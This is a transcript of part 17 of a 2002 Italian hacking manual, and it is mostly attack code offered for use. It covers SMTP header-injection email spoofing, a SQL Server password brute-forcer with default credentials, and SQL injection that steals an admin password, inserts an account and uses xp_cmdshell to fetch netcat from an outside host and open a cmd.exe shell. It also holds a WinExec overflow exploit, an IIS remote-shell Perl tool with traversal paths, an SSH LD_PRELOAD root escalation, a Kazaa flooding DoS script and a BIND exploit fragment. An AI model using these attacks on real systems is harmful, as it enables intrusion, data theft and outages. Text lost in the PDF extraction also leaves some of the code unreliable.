HackerProgrammingBook Part 17

download HackerProgrammingBook Part 17

of 39

Transcript of HackerProgrammingBook Part 17

  • 7/31/2019 HackerProgrammingBook Part 17

    1/39

    Hackers Programming Book

    Invio email falsificata tramite oggetti ASPUno dei linguaggi pi utilizzati al giorno doggi sul WEB sicuramente ASP il quale tra linfinit dioggetti orientati agli usi pi disparati ne possiede uno che permette di inviare delle emaildirettamente dalle pagine WEB.Si tratta delloggetto CDONTS.NEWMAIL il quale pu essere utilizzato nelambito di un qualsiasiform per il successivo invio di posta ma che per alo tesso tempo permette anche agli hackers di

    utilizzarlo per lo tesso scopo ovvero per linvio arbitrario di posta.Chiaramente come tanti bugs il tutto dipende sempre dalla tipologia di validazione dei dati inseritiche il programmatore esegue.Ma partiamo dellinizio vedendo come in genere possibile utilizzare questo oggetto allinterno diuna pagina ASP.

    La prima linea crea loggetto CDONTS.NEWMAIL mentre il rimenente codice seta I vari campidestinati ad indicare il mittente, il destinatario, il soggetto e il testo del messaggio.Lultima linea quella che di fatto permette di inviare il messaggio una volta che tutti I valoririchiesti sono stati inseriti nefgli appositi campi.Le varie Request.QueryString() interrogano le variabili legate al passaggio degli argomenti allapagina per ci per ricevere un messaggio questa dovrebbe essere letta nel modo che segue:

    http://www.company.com/[email protected]

    Come avrete potuto vedere il parametro viene settato direttamente dentro al campo che lko devecontenere direattamente dalla funzione che lo legge.

    Quando alla fine loggetto invia lemail il tutto subisce una conversione ne formato richiesto daSMTP.

    ..

    ..mail from: [email protected] to: [email protected]: NEWSLETTER....

    Se invece avesimo inserito la seguente metodlogia di richiamo :

    http://www.company.com/[email protected]%0D%0Adata%0D%0ASubject:%20Spoofed!%0D%0A%0D%0AHi,%0D%0AThis%20is%20a%20spoofed%20email%0D%0A.%0D%0Aquit%0D%0A

    La convesione SMTP sarebbe stata simile a :..

    ..mail from: [email protected] to: [email protected]

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    2/39

    Hackers Programming Book

    dataSubject: Spoofed!Hi,This is a spoofed e-mail.quit

    Altre informazioni legate agli attacchi a databaseCome abbiamo detto nel capitolo precedente, spesso gli attacchi ai sistemi di databasecostituiscono una via alternativa la fatto di cercare un mezzo per riuscire ad ottenere determinateinformazioni da un sistema dove non esistono altri mezzi.Sempre in altri capitoli del volume abbiamo parlato della password di default che spesso vengonodimenticate dagli amministratori di sistema allinterno dei softwares e dei dispositivi hardwarepresenti sui servers attaccati.In questo caso la possibilit quella di trovare degli accessi senza password.In questo caso diventa necessario disporre di una qualche utility in grado di cercare gli accessi aSQL Server non protetti da una password.Il sorgente inoltre cerca anche di eseguire un attacco brute force sul database.

    #!/usr/bin/perl## SQL username/password checker## Parameters: senseql ## Eg. to check for blank SA:## senseql 10.0.0.1 sa ""## Roelof Temmingh / Haroon Meer## [email protected] / [email protected]## SensePost IT Security## http://www.sensepost.com http://www.hackrack.com## 2001/11/09use IO::Socket;$|=1;if ($#ARGVnew(Proto=>"tcp",PeerAddr=>$host,PeerPort =>$port) || die "No SQL here man...";print $remote $FULL; print $remote $SENDY2;recv($remote,$back,100,MSG_PEEK);if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}else {print "No dude..\n";}

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    3/39

    Hackers Programming Book

    close ($remote);

    La seguente tabella riporta alcune password usate dai database.

    Oracle SQL Server

    user password

    internal internal

    internal manager

    sys sys

    sys manager

    sys system

    sys internal

    sys change_on_install

    system manger

    system system

    system internal

    user password

    sa

    sa sa

    sa admin

    admin admin

    admin

    Chiaramente il problema delle injections allinterno dei forms presenti sui WEB dipende in granparte dalla mancanza di controlli fatti dai progettisti software.

    Avevamo visto che la forma classica dinterrogazione di un database legato allaccesso ad unsistema ha in genere questa forma:

    SELECT XYZ from tblUsersWHERE User_ID=''AND U_Password=''IF [Stuff is Returned] {Login looks good}

    ELSE {Login looks bad}

    Avevamo visto che linserimento di un apicetto di chiusura e del carattere che definisce il REMdentro a Sql Server avrebbe potuto essere usato per trasformare linterrogazione in una chequalsiasi cosa venga inserita questa restituisca sempre una condizione di TRUE.Spesso per il problema che gli input vengono controllati almeno per quello che riguarda lalunghezza del valore inserito.

    A questo punto necessario trovare una condizione che possa essere inserita in pochissimicaratteri.Una ottima quella che usa il valore di controllo ridondante 1=1, ovvero :

    ' OR 1=1--

    Lo statement SQL di prima diventerebbe dopo liniezione :

    SELECT XYZ from tblUsersWHERE User_ID='zzz' OR 1=1 -- ANDU_Password=IF [Stuff is Returned] {Login looks good}ELSE {Login looks bad}

    Nellambito della raccolta delle informazioni legate al database spesso interessante riuscire adottenere il numero dei campi :

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    4/39

    Hackers Programming Book

    Nellesempio di prima invece di inserire come password il valore visto possiamo inserire :

    sensepost' group by (password)--

    La risposta potrebbe essere :

    The ODBC error returned this time is :Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' isinvalid in the select list because it is not contained in either anaggregate function or the GROUP BY clause./admin/admin.asp, line 13

    Da questo mesaggio abbiamo ricavato il nome della tabella, Admin, e quello della colonnaUserid.Modifichiamo la stringa inserita :

    sensepost' union select userid from Admin--

    A questo punto la risposta :

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQLstatement containing a UNION operator must have an equal number ofexpressions in their target lists./login.asp, line 17

    Questa ci dice che Userid non lunica colonna del database.Continuiamo la modifica della stringa iniettata con :

    sensepost' union select userid,userid from Admin--

    Il masaggio restituito potrebbe essere nuovamente lo stesso per cui potremmo ancora modificarela stringa fino a quando questo tipo derrore termina.La stringa potrebbe anche diventare :

    sensepost' union select userid,userid,userid,userid,userid from Admin--

    A questo punto il messaggio restituito diventa :

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thevarchar value 'superAdmin' to a column of data type int./login.asp, line 13

    Questa ci dice che il primo valore utente della tabella superAdmin per cui a qesto punto perriuscire ad ottenere la password potremmo dare :

    sensepost union select password,password from Admin

    Il fatto di continuare a provare ad aumentare gli argomenti, come nel caso di prima con il campouserid, possibile farlo anche con il campo password fino a quando il messaggio derrore ciritorna :

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    5/39

    Hackers Programming Book

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value 'h1dd3n' to a column of data type int./admin/admin.asp, line 13

    A questo punto sapere la tipologia dei dati diventa semplice.

    sensepost' compute sum (userid)

    La risposta :

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or averageaggregate operation cannot take a varchar data type as an argument./login.asp, line 13

    Questo ci dice che userid di tipo varchar.Ora dobbiamo ripetere la procedura per ogni campo che abbiamo enumerato.Una volta conosciuti i tipi possiamo dare :

    sensepost' insert into Admin(userid,password,lastlogin) values('haroon','hi','Dec 19 2001 5:53PM')--

    Come abbiamo visto nei capitoli precedenti lagati alle iniezioni dentro ai database speso possibile tramite stored procedure lesecuzione di comandi I quali per possiedono lepermissions dellutente che ha eseguito il database stesso.Per riuscire ad avere queste informazioni legate agli utenti possiamo proseguire i nostriinserimenti mediante :

    sensepost exec model..xp_cmdshell 'echo'

    Lerrore restituito :

    Microsoft][ODBC SQL Server Driver][SQL Server]Server user 'web_user' is nota valid user in database 'model'

    Proviamo a creare una tabella :

    sensepost create table master..#sensepost (x int) --

    Il messaggio ci avvisa che lutente DBO

    [Microsoft][ODBC SQL Server Driver][SQL Server]CREATE TABLE permissiondenied, database SECOMMERCE', owner 'dbo'.

    Ma a questo punto se volessimo usare questi metodi per controllare la macchina come

    potremmo fare ?Innanzi tutto settiamo uno sniffer come potrebbe essere TCPDUMP nel seguente modo :

    # tcpdump udp and port 53 and host

    A questo punto dobbiamo guardare le richieste che vengono inviate al database.Nel form della vittima digitiamo :

    sensepost exec master..xp_cmdshell nslookup a.com

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    6/39

    Hackers Programming Book

    Il sistema SQL esegue un NSLOOKUP usando il nostro BOX come nameserver.A questo punto mse tutto funziona avremo della informazioni come ad esempio lIP del backendSQL.Fate attenzione che il WEB server e il backend SQL potrebbero non girare sulla stessapiattaforma.

    A questo punto conoscendo qeste informazioni possiamo cercare di uplodare il nostro solitoNETCAT con :

    sensepost exec master..xp_cmdshell tftp I nasty.com GET nc.exec:\nc.exe--

    e quindi di eseguirlo con :

    sensepost exec master..xp_cmdshell c:\nc.exe l p 8000 e cmd.exe

    Buffer overflow non allinterno degli stackLa maggior parte dei buffer overflow visti fino ad ora usavano lo stacak o lheap come basi per lacreazione dllexploit.

    Questo capitolo server a descrivere come di fatto possibile scrivere un buffer overflow anchesenza affidarsi a questi segmenti.La loro scrittura pi semplice di questi in quanto lunica cosa che necessario capire ilmetodo con cui vengono chiamate le funzioni a basso livello.Un ulteriore semplificazione di questo tipo di buffer overflow legata al fatto che in questo casonon necessario conoscere lassembler.Il concetto di buffer overflow rimane lo stesso ovvero di fatto si tratta di inserire allinterno di unabuffer pi dati di quanti questi possa contenere.Mentre nei buffers overflow legati allo stack I dati inseriti devono contenere anche il codice chedeve essere eseguito, qui non necessario nessun codice.Mentre lindirizzo di ritorno che si andava a soprascrivere nei buffer basati sullo stack era legatoad un codice presete dentro al buffer stesso, qui lindirizzo legato ad una fnzione API eprecisamente WinExec() o system ().

    Questo tipo di exploit sono inoltre pi corti di quanto lo siano qelli basati sullo stack.Quando viene chiamata una funzione mediante il linguaggio C i parametri che questa pretendevengono inseriti, o pushati, dentro allo stack.Consideriamo il seguente codice :

    ..WinExec(command,SW_HIDE);..

    Questa fnzione viene traslata in assembler come segue :

    mov eax, 0 // Move into the eax register SW_HIDEpush eax // push this onto the stacklea eax, [ebp-8] // load the effective address of the command into eaxpush eax // push this onto the stackcall WinExec // call the function

    Come avrete potuto vedere I paramteri vengono inseriti in modo inverso dentro allo stackmediante delle istruzioni di PUSH.Lo stack potrebbe essere visto nel seguente modo :

    -------------------------ESP80

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    7/39

    Hackers Programming Book

    ----FF---- Pointer al comando da eseguire12----00-------------------------00----00---- SW_HIDE00----00-------------------------

    Quando la call viene eseguita si verificano alcune azioni.Il contenuto del registro Instruction Pointer (EIP) viene cambiato in modo che questa punti allanuova locazione dove si trova la funzione.Lindirizzo viene per inserito dentro allo stack in modo che quando la funzione termina questo

    pu essere ripristinato in modo da poter proseguire lesecuzione dal punto successivo a dove avvenuta la call.

    Assumendo che la call sia allindirizzo 0x00401020, quello 0x00401022 verrebbe inserito nellostack.Di conseguenza ESP viene decrementato 4.Quando la procedura chiamata ritorna, questo indirizzo viene preso dallo stack e usato denytro aEIP.Lesecuzione continua da qui.

    -------------------------ESP22----10

    ---- Saved Return Address40----00-------------------------80----FF---- Pointer to command to run12----00-------------------------00

    ----00---- SW_HIDE00----00-------------------------

    Creando loverflow del buffer per prima cosa necessario soprascrivere lindirizzo di ritorno conquello della fnzione che lattaccante vuole chiamare.

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    8/39

    Hackers Programming Book

    In questo esempio useremo la WinExec().Questa richiede un indirizzo fittizio dopo quello reale di ritorno.e un punatore alla stringa dicomando.WinExec() accetta qualsiasi valore DWORD usato come parametro SW_* in modo che siapossibile usare qualsiasi cosa fosse sullo stack in prima posizione.Questo nega la necessit di mettere un parametro SW_* nello stack e quindi risolve il problemache potrebbe derivare se il puntatore alla stringa di comando avesse allinterno un NULL.Tutto quello che richiesto una sringa terminata con un NULL..Questo potrebbe presentare alcuni problemi se la stringa usata per il comando fosse nelseguente formato :

    command+padding+saved_return_address+dummy_saved_return_address+parameters+.....

    Questo formato potrebbe portare ad un insuccesso nellesecuzione.Il modo per risolvere il problema quello di eseguire il comando in una shell cmd e di separare ilcomando con un carattere ampersand.

    cmd /c command&+padding+saved_return_address+dummy_saved_return_address+parameters+.....

    Considerate questo programma chiamato overrun.exeNotate lindirizzo fittizio chiamato DUMMY usato per la winexec.

    #include int main (){char buffer[256]="";FILE *fd=NULL;fd = fopen("file.txt","rb");if(fd == NULL)return printf("Couldn't open file.txt for reading\n");fgets(buffer,1000,fd);

    return 0;}

    Questo programma apre un file chiamato "file.txt" e legge 1000 caratteri dentro ad un bufferIl buffer di fatto solo 256.In questo modo tutti caratteri oltre al 256 creano loverflow del buffer.Per eseguire l exploit usando un metodo non basato sullo stack dobbiamo scrivere unprogramma che c crei un file "file.txt" ce contenga lexploit stesso.

    #include int main(){char buffer[500]="cmd /c calc &AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";char sraddress[8]="\xAF\xA7\xE9\x77";char padding[8]="\x90\x90\x90\x90";char pointer_to_command[8]="\x70\x51\x2F\x00";FILE *fd=NULL;fd = fopen("file.txt","w+");strcat(buffer,sraddress);strcat(buffer,padding);strcat(buffer,pointer_to_command);

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    9/39

    Hackers Programming Book

    fprintf(fd,"%s",buffer);fclose(fd);return 0;}

    Come potete vedere il comando che viene eseguito

    "cmd /c calc".

    Se il tutto funziona viene eseguito il calcolatore.Lindirizzo di ritorno viene soprascritto con lindirizzo di WinExec.Un indirizzo di ritorno dummy viene creato per beneficio di WinExec e un puntatore a questastringa viene attaccata alla fine.In caso di successo lindirizzo di ritorno viene soiprascritto con quello di WinExec().Quando il tutto torna WinExec() viene eseguita.WinExec ignorer lindirizzo dummy e quindi pende I suoi parametri e li esegue.Quando il tutto termina il programma andr in crash ma in ogni caso lutente sar gi dentro allashell aperta.

    Sistema dapertura Shell tramite IISAbbiamo visto nei capitoli precedenti come mediante alcuni BUGS era possibile inviare comandiad un sistema windows che gestiva il WEB server tramite IIS.I vari BUGS erano lUNICODE, RDS, MSADC e cosi via.La presenza di questi BUGS ha permesso innanzi tutto ad un infinit di virus come NIMBDA diprolificare ma quello che pi importante sicuramente legato al fatto che moltissimi casi dihacking che si sono avuti in questi ultimi due anni erano sicuramente collagti a questi.Ed ecco uno script PERL ato ad aprire una shell su sistemi con IIS.

    #!/usr/bin/perl## IIS Shell by bozo# Copyleft : Cartel Securite - Groupe CGBI

    # Version : 1.3# 12/19/2001#

    use strict;

    use LWP::UserAgent;use HTTP::Request;use HTTP::Response;use Term::ReadLine;use Getopt::Long;

    require LWP::Protocol::http10;

    Getopt::Long::Configure ("bundling");

    my ($p_exists, $c, $a, $q, $o, $h, $v, $e, $s, $p, $f, $nd, $wd,$no_cd, $cmd_sep, $host, $path, $basepath, $term, $version);

    $version = "1.3";

    ## Defining functions

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    10/39

    Hackers Programming Book

    #

    # sendRequest($url)sub sendRequest {my $ua = LWP::UserAgent->new();$ua->agent("bozilla v0/gold edition");my $req = HTTP::Request->new(GET => $_[0]);$req->referer("http://www.nsa.gov");my $result = $ua->request($req);

    return $result;}

    # parseResult($result)sub parseResult {my $content;if ($_[0]->is_error()) {my $error = $_[0]->status_line;if ( $error =~ /404/ ) {print "$_[0] not found.\n";

    return 0;}$content = $_[0]->content();$content =~ s/.*?\(.*)\.*/$1/gsi;if ( $content =~ /\/i ) {$content =~ s/.*?(.*?).*/$1/gsi;

    }print $content . "\n";

    } else {$content = $_[0]->content();print $content;

    }}

    # download($url, $local_file)sub download{my $url = $_[0];my $filename = $_[1];

    my $ua = new LWP::UserAgent;$ua->agent("bozilla v0/gold edition");my $req = new HTTP::Request GET => "$url";$req->referer("http://www.nsa.gov");my $res = $ua->request($req, $filename);

    if ( $res->is_error() ) {my $error = $res->status_line;if ( $error =~ /404/ ) {print "$url not found.\n";return 0;

    } else {print "Couldn't copy file at $url.\n";

    }return 1;}

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    11/39

    Hackers Programming Book

    }

    # checkPath($path)sub checkPath {my $result = sendRequest("http://$host/$_[0]?/c+dir");

    if ($result->is_error()) {my $error = $result->status_line;if ( $error =~ /404/ ) {if ( $v ) { print "Command executable not found at $_[0] on

    $host.\n"; }return 0;

    }if ( $error =~ /403/ ) {if ( $v ) { print "Access denied at $_[0] on $host.\n"; }return 0;

    }chomp($error);if ( $v ) { print "$error : $_[0].\n"; }

    if ( $e ) { my $content = $result->as_string; print "Detail:\n$content\n"; }

    return 0;}if ( !$q && !$c ) { print "Found executable at $_[0] on $host.\n"; }$result = sendRequest("http://$host/$_[0]?/c+cd..%20&dir");if ($result->is_error()) {if ( !$q && !$c ) {print "Mmh, this system doesn't appear to support

    the \'$cmd_sep\' string for command chaining.\n";print "If it includes the '&' char, IIS is likely interpreting as

    a CGI argument separator.\n";print "Disabling path memorization (if this is a mistake, enable

    it with /nocd off).\n";}$no_cd = 'true';

    }if ( $c ) { print "Executable found at $_[0]\n"; }else {$result = sendRequest("http://$host/$_[0]?/c+ver");parseResult($result);

    }return 1;

    }

    # runShell($path)sub runShell {

    if ( $path =~ /cmd\.exe/ ) {$basepath = $path;$basepath =~ s/\/winnt\/system32\/cmd\.exe//;

    } else {$basepath = '';

    }while (true) {my $line = $term->readline("$host : ");$term->addhistory($line) if /\S/;runCommand($line);

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    12/39

    Hackers Programming Book

    }}

    # runCommand($command)sub runCommand {my $url;my $line = $_[0];if ( defined($line) ) {chomp $line;

    # Defining internal commandsif ( $line =~ /^\s*\/exit\s*$/i || $line =~ /^\s*\/quit\s*$/i )

    {print STDOUT "Quitting IIS Shell.\n";exit;

    }

    if ( $line =~ /^\s*\/nocd/i ) {if ( $line =~ /^\s*\/nocd\s*on\s*$/i ) {$no_cd = "true";

    print "Disabling path memorization.\n";next;

    } elsif ( $line =~ /^\s*\/nocd\s*off\s*$/i ) {$no_cd = '';print "Enabling path memorization.\n";next;

    } else {printf "Path memorization is currently %s.\n",

    ($no_cd)?"disabled":"enabled";next;

    }}

    if ( $line =~ /^\s*\/help\s*$/i ) {print "Help for IIS shell :\n\n";print "\tcd : currently supports '..' and

    '\\'.\n\n";print "\t/nocd [on|off] : disables/enable path

    memorization\n\t" . " "x17 . "(without arguments, prints currentstatus)\n";

    print "\t/setcmdsep : sets DOS command separator to (default = &).\n";

    print "\t/help : this command.\n";print "\t/quit : quits IIS shell.\n";print "\t/exit : quits IIS shell.\n\n";print "\t! : run on the local machine.\n\n";next;

    }

    if ( $line =~ /^\s*\/setcmdsep\s*(.*)\s*$/i ) {$cmd_sep = "$1";print "Setting command separator to $cmd_sep.\n";next;

    }

    if ( $ line =~ /^\s*\/cp\s+(.+)\s+(.+)\s*$/i ) {if ( $basepath ) {

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    13/39

    Hackers Programming Book

    $url = "http://$host$basepath$1";download($url, $2);

    } else {print "Sorry, we are not accessing the command shell through

    a directory traversal.\n";print "Cannot generate an URL to access the file you

    requested.\n";}next;

    }

    if ( $line =~ /^!(.*)/i ) {print `$1`;next;

    }

    # Defining pseudo-shell commandsif ( $line =~ /^cd\s+(.*)/i ) {$nd = $1;if ( $nd eq ".." ) {

    if ( $wd eq "\\" ) { }elsif ( $wd =~ /^\\[^\\]*$/ ) { $wd = "\\"; }else { $wd =~ s/(.*)\\.*/$1/; }

    }elsif ( $nd =~ /^\\.*/ ) { $wd = $nd; }elsif ( $nd =~ /^\w+/ ) {if ( $wd eq "\\" ) { $wd .= $nd; }else { $wd .= "\\$nd"; }

    } else {print "Hihihihihi, that tickles!\n";

    }next;

    }

    if ( $line =~ /^\s*\// ) {print "This is not a valid syntax for a IIS Shell internal

    command.\n";print "See /help for details.\n";next;

    }

    # $line is not an internal command$line =~ s/\s/\%20/g;$line =~ s/\%20$//;

    if ( $no_cd ) {$url="http://$host/$path?/c+$_[0]";

    } else {$url="http://$host/$path?/c+cd%20$wd%20$cmd_sep$_[0]";

    }

    my $result = sendRequest($url);parseResult($result);

    } else {next;

    }

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    14/39

    Hackers Programming Book

    }

    ## Actual processing#

    $s = '';$v = '';$p = '';$f = '';$e = '';$h = '';$o = '';$q = '';$a = 'path_to_cmd';$c = '';$p_exists = '';

    GetOptions( 'p=s' => \$p, 's' => \$s, 'v' => \$v, 'f' => \$f, 'e' => \$e, 'h' => \$h, 'o' => \$o, 'q' => \$q, 'a=s' => \$a, 'c' => \$c );

    if ( $p ) { $p_exists = '1'; }

    if ( (length($s . $p_exists . $h) != 1 ) || ( (@ARGV != 1) && ( !$h ) )) {print "Usage: $0 { -s[ev] | -[evf]p | -h } [-oq] []\n";exit;

    }

    $wd = "\\";$no_cd = '';$cmd_sep = '&&';

    if ( !$q ) { print "Welcome to IIS Shell $version\n"; }

    $term = new Term::ReadLine 'IIS Shell';$term->ornaments(0);

    if ( $o ) {if ( !$q ) { print "Using old libwww-perl behaviour ( < 5.60 )\n"; }LWP::Protocol::implementor('http', 'LWP::Protocol::http10');eval {require LWP::Protocol::https10;LWP::Protocol::implementor('https', 'LWP::Protocol::https10');

    };}

    if ( $h ) {print "Usage : \n\n";print "Usage: $0 { -s[eva ] | -[evf] | -h } [-oqc]

    []\n\n";print "\t-h : prints this help\n";print "\t-s : scans for a command shell\n";print "\t\t -v : verbose, prints paths as they are tried\n";print "\t\t -e : verbose errors, prints server reply as string\n";print "\t\t -a : alternate file for path to cmd.exe list\n\t\t

    (defaults to path_to_cmd in local dir)\n";

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    15/39

    Hackers Programming Book

    print "\t-p : seeks shell at on \n";print "\t\t -v : verbose, prints paths as they are tried\n";print "\t\t -e : verbose errors, prints server reply as string\n";print "\t\t -f : force, ignores path checking on specified path\n";print "\n";print "\t -o : old-style libwww-perl, needed for use with libwww-perl

    >= 5.60\n";print "\t -q : quiet (don't use with -v or -V)\n";print "\t -c : check only, don't generate shell\n";print "\n";

    }

    if ( $p ) {$host = $ARGV[0];if ( $f && !$c) { $path = $p; runShell($path); }if ( ! checkPath($p) ) {if ( $c ) { print "Executable not found at $p\n"; exit; }print "Quitting IIS Shell.\n";exit

    }

    $path = $p;if ( !$c ) { runShell($path); }

    }

    if ( $s ) {$host = $ARGV[0];if ( !$q ) { print "Scanning $host for a command shell ...\n"; }open(PATH, "$a") or die "Can't open path list file : $!\nPlease check

    you have not entered an invalid path\n";while (my $line = ) {chomp $line;if ( checkPath($line) ) {if ( $c ) { print "Executable found at $line\n"; next; }$path = $line;if ( !$c ) { runShell($path); }last;

    }}if ( !$c ) { print "No command shell found, quitting.\n"; }

    }

    Il seguente file nominato path_to_cmd e deve risiedere nella stessa directory dello script in perl.Da questo possiamo vedere che il BUGS che cerca di sfruttare lo scipt MSADC.

    /scripts/root.exe/MSADC/root.exe

    /c/winnt/system32/cmd.exe/d/winnt/system32/cmd.exe/scripts/..%c1%9c..%c1%9c../winnt/system32/cmd.exe/scripts/..%c0%af..%c0%af../winnt/system32/cmd.exe/scripts/..%c1%1c..%c1%1c../winnt/system32/cmd.exe/scripts/..%255c..%255c../winnt/system32/cmd.exe/scripts/..%2f..%2f../winnt/system32/cmd.exe/_vti_bin/..%c1%9c..%c1%9c../winnt/system32/cmd.exe/_vti_bin/..%c0%af..%c0%af../winnt/system32/cmd.exe/_vti_bin/..%c1%1c..%c1%1c../winnt/system32/cmd.exe

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    16/39

    Hackers Programming Book

    /_vti_bin/..%255c..%255c../winnt/system32/cmd.exe/_vti_bin/..%2f..%2f../winnt/system32/cmd.exe/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe/msadc/..%c1%9c..%c1%9c../winnt/system32/cmd.exe/msadc/..%c0%af..%c0%af../winnt/system32/cmd.exe/msadc/..%c1%1c..%c1%1c../winnt/system32/cmd.exe/msadc/..%255c..%255c../winnt/system32/cmd.exe/msadc/..%2f..%2f../winnt/system32/cmd.exe/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe

    Un bugs per la scalata dei privilegi in Linux 7.x con SSHUn bugs legato al login di Linux permette di acquisire diritti sulla macchina.I sistemi che posseggono questo problema sono:

    Slackware 7.1 con OpenSSH3.0p1RedHat 7.1 con OpenSSH_2.9p2RedHat 7.2 con OpenSSH-3.0.1p1 (thx scorpio)OpenBSD 2.9 con OpenSSH_2.9 (thx pmsac)

    Create un file lib.c con questo contenuto:

    #include int setuid(int uid){printf("setuid() called...\n");seteuid(0);

    }

    Compilatelo con:

    gcc -c -o lib.o lib.cld -shared -o libroot.so lib.ochmod 755 ./libroot.so

    A questo punto dovete avere un login nal sistema e quindi dopo esserci entrato dovrete creare ilseguente file:

    $HOME/.ssh/authorized_keys

    con dentro :

    environment="LD_PRELOAD=/libroot.so"

    Quando sshd riceve la vostra connessione, questa esporta la variabile dambiente ce avetesettato dentro al file.Questa viene settata PRIMA che voi facciate il login.

    In ogni modo questa esegue una funzione setuid mediante la call a seteuid(0).

    $ iduid=1000(war) gid=100(users) groups=100(users)$ ssh war@localhost

    Inserite la passphrase per key '/home/war/.ssh/id_dsa':sh-2.04# iduid=0(root) gid=100(users) groups=100(users)

    Copyright 2002 Flavio Bernardotti [email protected]

    mailto:war@localhostmailto:war@localhost
  • 7/31/2019 HackerProgrammingBook Part 17

    17/39

    Hackers Programming Book

    Questo metodo funziona anche da remoto.Chiaramente il tutto serve a scalare i dirtti di un sistema per cui dovete avere un login iniziale.In altre parole va bene in quei sistemi aziendali dove voi non valete nulla, nelle universit ocomunque in un sistema dove anche solo a livello di guest ma ci entrate.

    Kazaa o MorphesQueste due utilties legate al file sharing possiedono delle backdoor che possono essere utilizzateper accedere abusivamente ai sistemi di chi li usa.Occo il programma per farlo :

    #!/usr/bin/perl##Kazaa/Morpheus Denial of Service Attack#Coded by Paul Godfrey#[email protected]##Problem: Both Kazaa and Morpheus filesharing applications have "backdoors"#which allow anonymous file access to their shared folder. What does this have

    #to do with Denial of Service? Unlike connections made from other users#of the applications, the number of connections to the backdoor cannot be#regulated or detected by the client. This obviously will allow us to flood the#server with requests and therefore use up all of the available bandwidth.#Also due to the fact that most users have setup their firewall privileges so#that Kazaa or Morpheus is allowed access to open connections to outside sources#this attack will bypass most personal firewall clients such as Zone Alarm.##Enjoy.##Usage: ./km.pl -h victimip

    use Socket;use Getopt::Std;

    getopts("h:", \%args);

    print("\nK/M Denial of Service\n");if (!defined $args{h}) {print("Usage: km.pl -h victimip\n\n");exit; }

    $host = $args{h};$target = inet_aton($host) || die("inet_aton problems; host doesn't exist?");

    $trash="A"x100;

    &exec_cmd($command);

    sub exec_cmd {

    for($count=1;$count

  • 7/31/2019 HackerProgrammingBook Part 17

    18/39

    Hackers Programming Book

    die("Socket problems\n");if(connect(S,pack "SnA4x8",2,1214,$target)){my @in;select(S); $|=1; print $pstr;while(< S >){ push @in, $_;print STDOUT "." if(defined $args{X});}select(STDOUT); close(S); return @in;

    } else { die("Can't connect...\n"); }}

    DNS e BindUno dei sistemi che nel tempo ha creato pi problemi sicuramente il bind utilizzato per lagestione dei DNS allinterno dei servers.Tra Le tipologie di exploits a cui questo meccanismo maggiormente soggetto sono sicuramentequelli legati alle metodologie Dos ovvero quelle indirizzate a bloccare il servizio.Chiaramente in questo caso parliamo di uno dei servizi fondamentali nellambito di un sistema inquanto il blocco di questo farebbe si che i servers che si supportano su questo sistema per larisoluzione dei domini tramite interrogazione dei servers DNS non potrebbe essere eseguito.Teniamo sempre ben presente che le attivit legate a questo servizio nellambito di un server

    avvengono in continuazione anche perch questo viene utilizzato anche per risolvere i serversstessi interni nellambito di una struttura di dominio relativo anche ad una sola azienda.Usando analizzatori della sicurezza, come ad esempio RETINA, i messaggi legati ai problemipresenti nel sistema BIND sono sempre numerosissimi.Un esempio di software in grado di explotare un sistema remoto utilizzante questo sistema quello che segue:

    /** lame named 8.2.x remote exploit by** Ix [[email protected]] (the master of jmpz),* lucysoft [[email protected]] (the master of queries)** this exploits the named INFOLEAK and TSIG bug (see

    http://www.isc.org/products/BIND/bind-security.html)* linux only shellcode* this is only for demo purposes, we are not responsable in any way for what you do with

    this code.** flamez - canaris* greetz - blizzard, netman.* creditz - anathema for the original shellcode* - additional code ripped from statdx exploit by ron1n*/

    #include #include #include #include #include #include #include #include #include #include #include #include #include

    #define max(a,b) ((a)>(b)?(a):(b))

    #define BUFFSIZE 4096

    int argevdisp1, argevdisp2;

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    19/39

    Hackers Programming Book

